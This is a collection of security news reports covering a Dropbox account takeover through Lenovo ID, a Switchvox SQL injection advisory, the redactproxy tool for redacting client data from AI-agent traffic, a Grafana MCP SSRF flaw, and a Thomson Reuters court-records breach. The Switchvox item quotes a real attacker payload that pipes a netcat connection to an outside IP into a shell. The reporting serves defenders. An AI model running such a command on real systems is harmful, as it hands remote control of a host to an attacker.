What makes the incident unusual is that Dropbox's own systems were never breached. The company lets users sign in with a Lenovo ID, a login credential tied to Lenovo's Identity Provider Services, as an alternative to a Dropbox password. According to Dropbox, a flaw in Lenovo's email verification process let an outside party register a Lenovo ID using someone else's email address. Once that fraudulent ID was created, the attacker could use it to log straight into the Dropbox account tied to that same email, bypassing the account's actual password entirely.

Dropbox's system trusted Lenovo's confirmation that the attacker owned the email address and did not ask for any additional check through the user's normal Dropbox login. Some of the people affected told Dropbox they had never signed up for a Lenovo ID in the first place, yet their accounts were still reachable through the integration.

A handful of users noticed something was off before Dropbox sent out its warning. One person, posting on Hacker News under the handle xaphod, said they had gotten alerts about suspicious sign-ins roughly two weeks earlier and changed their password and turned on two-factor authentication right away. They also noted that the Dropbox login page had started showing a "Continue with SSO" option tied to their email, despite never having created a Lenovo account.

Dropbox told Reuters that about 5,000 accounts were affected in total, and that none of them had two-factor authentication switched on, which is part of why the fraudulent logins went through unchallenged. Files were viewed or downloaded in fewer than a third of those accounts, a company spokesperson said. Bloomberg, which first reported the breach, cited Dropbox statements and internal records describing hackers browsing and pulling material that users had stored on the platform. Shares of Dropbox slipped about 2.4% in after-hours trading once the news broke.

Lenovo, for its part, described the problem as tied to a "legacy integration" between Lenovo ID and Dropbox that could be misused to improperly authenticate certain Dropbox accounts. A company spokesperson said Lenovo and Dropbox worked together to contain the issue once it was identified, and that Lenovo's own customer accounts were not compromised as a result. Both companies said their investigations are continuing.

Once it understood what was happening, Dropbox expired every session that had been authenticated through a Lenovo ID and cut the link between the two systems altogether. Going forward, anyone signing in through a Lenovo ID will also have to enter their Dropbox password, closing the gap that let the fraudulent logins succeed without one. The company said it has reported the incident to data protection regulators, as required in jurisdictions covered by breach notification rules.

For affected users, Dropbox's advice mirrors standard breach guidance: change the Dropbox password, change the password on the linked email account, and enable two-step verification if it isn't already on. Security researchers reviewing the incident have also suggested checking active sessions, connected third-party apps, shared links, and recent file activity for anything unfamiliar, along with account recovery settings that an attacker could have altered while inside.

The breach adds to a run of recent incidents built around federated login systems rather than direct server intrusions. Security teams have flagged this pattern for years: as more services link their sign-in process to outside identity providers to make logging in more convenient, a flaw in any one partner can end up exposing accounts across the whole chain, even for users who never signed up with that partner directly.

Dropbox has not said whether it plans to end the Lenovo ID integration entirely or continue it under the new password requirement. The company said users who did not receive a direct notification from Dropbox were not affected by the incident.

Switchvox Vulnerability Triggers Active Exploitation Risk

 

Sangoma Switchvox CVE-2026-9586 is a serious unauthenticated SQL injection flaw that can lead to remote code execution, and Horizon3 says it has already seen real-world exploitation attempts. The issue was patched in Switchvox 8.4.0.2, making rapid remediation important for exposed systems. 

Horizon3’s research says Switchvox is an enterprise VoIP management platform used for voicemail, call forwarding, monitoring, and analytics. The vulnerability sits in an unauthenticated HTTP endpoint handled by PhoneAppsHandler.pm, where XML input is parsed and the PhoneIP field is inserted directly into a SQL query without validation. 

That weak input handling can let an attacker inject SQL into the backend, and the blog describes how the query executes with PostgreSQL superuser privileges. Horizon3 notes that this design makes exploitation especially dangerous because the flaw can progress from a single request to code execution on the device. 

The post also highlights indicators of compromise, including activity in /var/log/switchvox/db-quirks.log. In one observed case, attackers used a payload involving nc 176.65.148.184 39323 | sh, then followed up with commands to enumerate processes and exfiltrate results through a remote server. 

The disclosure timeline shows Horizon3 reported the issue on 10 April 2026, Sangoma released the fix on 14 July 2026, and Defused Cyber honeypots recorded valid exploitation on 30 August 2026. Horizon3 also says Shodan showed roughly 4,000 internet-exposed Switchvox devices, which suggests a broad attack surface for organizations that have not patched yet. 

Safety recommendations 

Upgrade immediately to Switchvox 8.4.0.2 or a later supported release, since that version contains the fix for CVE-2026-9586. If patching cannot happen right away, restrict access to the Switchvox web interface and /pa endpoint with firewalls, VPNs, and network segmentation, and avoid direct internet exposure. Security teams should also review /var/log/switchvox/db-quirks.log, inspect outbound traffic for suspicious connections, and investigate any indicators tied to the observed attacker IP.

redactproxy, a tool that lets pentesters use AI without leaking client data

AI coding agents are now part of a lot of security work. They are good at the parts a tester has no time for: going through every request, every parameter and every file rather than a sample of each. But none of that work happens on your machine. Everything the agent reads is sent to a model running on someone else's servers. So are you sending your client's data to an AI provider?

Where the client's data goes

The moment you point one of these agents at a live engagement, everything it touches reaches a third party. Client domains. Internal hostnames. Credentials pulled out of a config file. Employee email addresses. The client's own name, in the folder path, in the ticket reference, in the commit message. A testing agreement authorises you to access the client's systems. It rarely says anything about transmitting their contents to a model provider, and the same gap shows up against PCI-DSS, HIPAA and SOC 2 data-handling clauses.

The usual advice lands in one of two places: run a local model, or don't paste client data. Both work. Both cost you the thing you wanted. A 7B model on a laptop is not the model that spots the subtle chain across three hosts, and an agent you feed carefully redacted scraps by hand is an agent you are babysitting instead of using.

There is a third option. Almost none of that data needs to be there in the first place: the model does not need the real hostname to reason about a finding on it. It needs a hostname that stays the same every time it sees it.

That is where redactproxy(https://github.com/CSPF-Founder/redactproxy) comes in.

Where the model runs

Before we get to what redactproxy does, we need to understand where the work actually happens. Claude Code is the part on your machine: a terminal tool that reads your files, runs your commands and collects the output. The model is not on your machine at all: it runs on an AI provider's servers, Anthropic for example. Claude Code does no reasoning of its own, so anything it needs an answer about, including the scan output and the config file it just read, is sent to those servers over the API.

RedactProxy

redactproxy is an open-source tool from the Cyber Security & Privacy Foundation. It sits between Claude Code and the provider, on your own machine, and rewrites that API traffic in both directions. On the way out it replaces real client values with stable fake ones. On the way back it puts the real ones in again, before Claude Code ever sees the response.




The provider only ever sees placeholders. Your tool calls still run against real infrastructure, because the substitution back happens before the response reaches the agent. When the model writes a Bash command against a placeholder hostname, Claude Code receives the real hostname and runs it against the real host. Not just the first time: on every response, ten turns later, for the life of the conversation.

The swap happens inside the traffic itself, so nothing about the way your team works changes. No telemetry, no sync, no backup: everything it stores stays on the machine you run it on.

What the model receives

Here is some scan and config-dump output, exactly as Claude Code would send it, next to what the model actually receives.



What changed, and what didn't:
  • The mail. subdomain survives, and the same organisation placeholder appears in both the hostname and the email address. The relationship between them is intact.
  • The host octet .19 survives. Only the /24 network changed, so hosts that were adjacent stay adjacent.
  • The AWS key still looks like an AWS key, so the model knows what kind of secret it found without seeing the secret.
  • The connection string collapses into one opaque placeholder, because the whole credential span is sensitive.
  • The nginx banner, the latency, the port, the Dell OUI comment: untouched. None of them identify the client.

Stable placeholders

An engagement is redactproxy's word for one client project. Inside one, the same real value always gets the same fake. The hostname that became tok5198ede8bdbb1ada.internal this morning is still that same fake tomorrow, and in every request in between. This is not a convenience. It is the reason the tool is usable at all.

The model can still work out that two hosts belong to the same organisation. It just never learns which organisation.
Because tok1a2b3c4d5e6f7890.com and mail.tok1a2b3c4d5e6f7890.com are consistently the same fake, the model can reason that a finding on one host relates to a finding on another, that an email address belongs to the same company as a web server, that the same credential turned up in two places. All the analytical work survives. The identity does not.

The mappings live in the engagement's own folder and survive restarts, so the placeholder the model saw yesterday is still the same one today. Each engagement is self-contained and shares nothing with the others.

Placeholder shapes

Redaction that destroys structure destroys usefulness. Where a value's shape carries something useful but not identifying, the shape is kept:


The ranges are not arbitrary. Every fake comes from a space that cannot collide with something real: an IPv4 block reserved for equipment testing rather than one of the private ranges internal engagements actually target, the 555 phone exchange reserved for fiction, MAC addresses that can never belong to a real manufacturer. Fake credentials carry the string FAKE in a position where a real key can only hold a digit or a letter A to F, so no vendor could ever issue one.

What it detects

Detection is regex plus a validation step. No model in the loop, no network call, no learning. The detector set covers, roughly:
  • Network identity: domains and hostnames (bare or inside URLs), IPv4, IPv6, MAC addresses.
  • People: email addresses, NANP and international phone numbers.
  • Credentials for 25+ vendors: AWS, GitHub, GitLab, Slack, Stripe, Razorpay, Google, npm, DigitalOcean, Cloudflare, Azure, Docker Hub, CircleCI, Terraform, Snyk, Vault, Twilio, SendGrid, OpenAI, Anthropic and more, plus JWTs, bearer tokens, connection strings, PEM private keys and password hashes.
  • Regional PII: Indian Aadhaar and PAN numbers.
  • AD artifacts: machine account names, GPP cpassword values.
  • Client identity: whatever you add by hand, which is the part that matters most. See below.
There is also an allowlist, split into categories you can toggle. Your own out-of-band testing services (burpcollaborator.net, interact.sh, webhook.site) are never the client's, and common CDN and public dev platform hostnames say nothing about who the client is. Every category can be switched off per engagement.

Only the parts of a request that carry content get scanned, and only the values that match get replaced. Everything else is left exactly as it was. MCP tool calls and results are scanned too, because an MCP server is local infrastructure producing exactly the client data this exists to keep in.

Fail closed

If the proxy cannot finish redacting a request, it returns an error instead of sending it on. A malformed request, a detector that errors, a store that cannot save a new mapping: all of them fail the request rather than let it through.

An unredacted forward is the one outcome this project treats as worse than a broken request.

Setting up an engagement
go install github.com/CSPF-Founder/redactproxy/cmd/redactproxy@latest
Then, in a folder for the engagement. Name it after an engagement code, not the client; the Known gaps section explains why that matters more than it looks.
cd ~/engagements/eng-2026-014
redactproxy wizard --engagement eng-2026-014
The wizard asks four things. First, customer name variations: the legal name, the trading name, abbreviations, product names, internal codenames. No detector can match a name, so this is the only way they get redacted. They become case-insensitive substring matches, so XYZCorp also catches XYZCorporation.

Second, domains. Give the base domain only. Subdomains, email addresses at that domain and URLs all resolve from it automatically. Internal-only names work too: an AD forest, or any private scheme that will never appear on a public suffix list.

Third, which API this engagement talks to. Real Claude by default. redactproxy never asks for an Anthropic credential; it forwards Claude Code's own authentication untouched. Anything else speaking the Anthropic Messages API works too, z.ai for example, and each engagement remembers its own choice, so two client projects can run against different providers side by side.

Fourth, it offers two conveniences for the folder: a CLAUDE.md note explaining the placeholder shapes, and a .claude/settings.local.json that points Claude Code at the proxy and closes several channels that bypass the proxy entirely.

Then:
redactproxy      # terminal 1
claude           # terminal 2, already pointed at the proxy
That terminal running the proxy is also a live console. Type show to see every mapping minted so far, remove <value> to drop a bad one, or rules block "XyzExample" to add a value mid-session without interrupting anything.

Two files the wizard writes

The CLAUDE.md note is not decoration. Without it, a session sees strange placeholder values with no explanation: it corrects them as typos, hesitates to use them in tool calls, or retypes them from memory slightly wrong. The note tells the model these are stable identifiers to copy verbatim. It also covers a trap worth knowing yourself: if the model decodes base64 inline, the decoded content lands in its own output completely unprotected, because the encoded form passed through unredacted. Decoding to a file with Bash and reading the file back gives that content a normal pass through redaction.

The settings hardening closes paths that never touch ANTHROPIC_BASE_URL at all. The Artifact tool is a confirmed leak path: a report published through it goes straight to a hosted claude.ai URL, entirely unredacted, through a separate service call the proxy never sees. The wizard removes it from the session entirely rather than prompting for it each time, because a permission prompt can be approved out of habit and a tool that was never offered cannot leak anything. It also turns off WebFetch's safety check, which sends the target hostname to Anthropic before the fetch, whichever provider the engagement uses. A domain being reconned is exactly the value this tool exists to keep off side channels.

Known gaps

redactproxy ships a Known gaps page, and it is worth reading before you point this at real client data. The ones that matter most:
  • Your folder name is the big one, and redaction cannot fix it. Claude Code puts its working directory into the system field of every request, and that field is deliberately never scanned. A folder called xyz-example-bank-pentest sends "xyz example bank" to the model on every single request no matter what your rules say. The tool warns about it, at wizard time and at startup, but the only fix is to name engagement folders after an engagement code.
  • Encoded data passes straight through. A .env piped through base64, an xxd dump, Terraform state: none of it looks like anything to a regex. Decode locally first.
  • Names and prose are not detected. This is what rules block is for, and why it is the wizard's first question. A company name shows up in URL paths, ticket references, code comments and commit messages, and no detector can recognise it.

Who this is for

Pentest and consulting teams who want the productivity of an AI coding agent on a live engagement, and who would rather not explain to a client why their internal hostnames are in a third party's logs.

It was built for pentest work, and that shapes the vocabulary: engagements, clients, findings. Nothing in the redaction is specific to offensive work, though. Blue teams and infrastructure teams hit the same problem: a SOC analyst pasting alerts full of internal hostnames, a sysadmin debugging a manifest with credentials in it, anyone under an NDA who wants an AI agent working on real data. The detectors only care about the shapes they recognise, not why you are looking at them.

Grafana MCP Flaw Exposes Session Spoofing and SSRF Risk

 

Grafana MCP has come under security scrutiny after researchers found a dangerous combination of unauthenticated tool access and server-side request forgery, or SSRF, that could expose sensitive internal systems. The issue matters because Grafana is widely used to monitor production metrics, logs, traces, and incidents, making it a high-value target in enterprise environments.

Pillar Security reported that affected Grafana MCP deployments allowed a reachable caller to invoke MCP tools without authentication by using a locally generated session value in the expected format. In practice, this meant an attacker could call tools such as tools/list and tools/call even without presenting a real credential, and the server would still use its configured Grafana service account on the attacker’s behalf. Grafana responded by adding optional bearer-token authentication in v1.1.0, which returns a 401 error before tool execution when configured.

The second flaw was more subtle but equally dangerous. The grafana_api_request tool accepted an X-Grafana-URL value that let the caller choose the outbound destination, along with the method, path, body, and headers . Although Grafana had already prevented its service-account token from being sent to foreign hosts, the server still made the request and returned the response, which created a critical SSRF condition assigned CVE-2026-19516 with a CVSS score of 9.1.

Researchers showed that this SSRF primitive could be used to reach internal services and even simulate a cloud metadata flow in a controlled environment . That is important because the danger is not limited to token leakage; the server itself becomes a readable and method-capable proxy from its own network position, extending the attacker’s reach beyond what they could access directly.

The broader lesson is that MCP servers can function like identity brokers, translating user instructions into privileged actions performed with the server’s credentials and network access . Session identifiers, host validation, and origin checks may help with protocol state, but they do not replace authentication or authorization. For operators, the practical defense is clear: require inbound authentication, minimize service-account permissions, restrict outbound destinations with strict allowlists, and block private, loopback, and metadata ranges by default .

Thomson Reuters Court Records Breach Exposes Sensitive Data Across North America

 

Sensitive court records and personal information were spilled from a data breach in the court system, which impacts at least 12 states in the U.S., including the U.S. Virgin Islands and Canada, Thomson Reuters announced on Wednesday. The breach occurred in C-Track, a court case management software, run by one of Thomson Reuters’ subsidiaries. 

The company remains silent on how the hackers accessed the program, who was responsible and how much data was compromised, as well as the number of individuals impacted. Thomson Reuters stressed that the breach was within their own environment and “not related to security vulnerabilities in the networks, systems or data of the courts.” The company discovered unauthorized access to its system on June 30, and it initiated an investigation alongside outside cyber security experts and law enforcement. 

Their probe established that unauthorized intruders accessed some C-Track files in March. Meanwhile, a separate disclosure by the Montana Supreme Court revealed that Thomson Reuters advised the state court officials that unauthorized access to C-Track persisted up to June, which means that hackers may have remained undetected within the system for several months. The sensitive information spilled includes names, Social Security numbers, driver licenses, medical information, dates of birth, and health insurance. 

Thomson Reuters added that confidential, redacted, or otherwise restricted information from court records may have been accessed in some jurisdictions, but the company confirmed that no abuse of the situation has occurred. The data breach did not impact the operations of C-Track, which continues to function normally. Thomson Reuters implemented additional security measures, following the breach, after they were approved by outside cybersecurity experts, although the company did not disclose who they were. 

The courts in the U.S. whose data is at risk, according to the company, are the appellate courts in Alabama, Kentucky, Montana, Nevada, New Hampshire, North Dakota, South Carolina, Tennessee, and Wyoming. In addition, several Pennsylvania courts, 10 Ohio district courts of appeals, the Supreme Court, and the Superior Court of the U.S. Virgin Islands are also on the list. The breach in Oregon Judicial Department added another state to the list, expanding the reach to at least 12 states. 

Nevada officials reminded their residents that the types of data compromised differs from state to state, and that not all the data in each state is necessarily confidential or protected. They added that, for example, in Montana, most of the data already was publicly available, but the state’s court system acknowledged the breach of the drivers’ licenses and dates of birth. 

In addition, several of the jurisdictions were notified weeks after Thomson Reuters became aware of the security threat. For example, the court administrator of Montana and the Ontario Ministry of the Attorney General were notified of the unauthorized access to the data on July 23. The chief justices of Ontario agreed that it still remains unclear what information was at risk and how many people were impacted. Thomson Reuters notifies affected individuals that they can receive 12 months of free of credit monitoring and identity theft protection.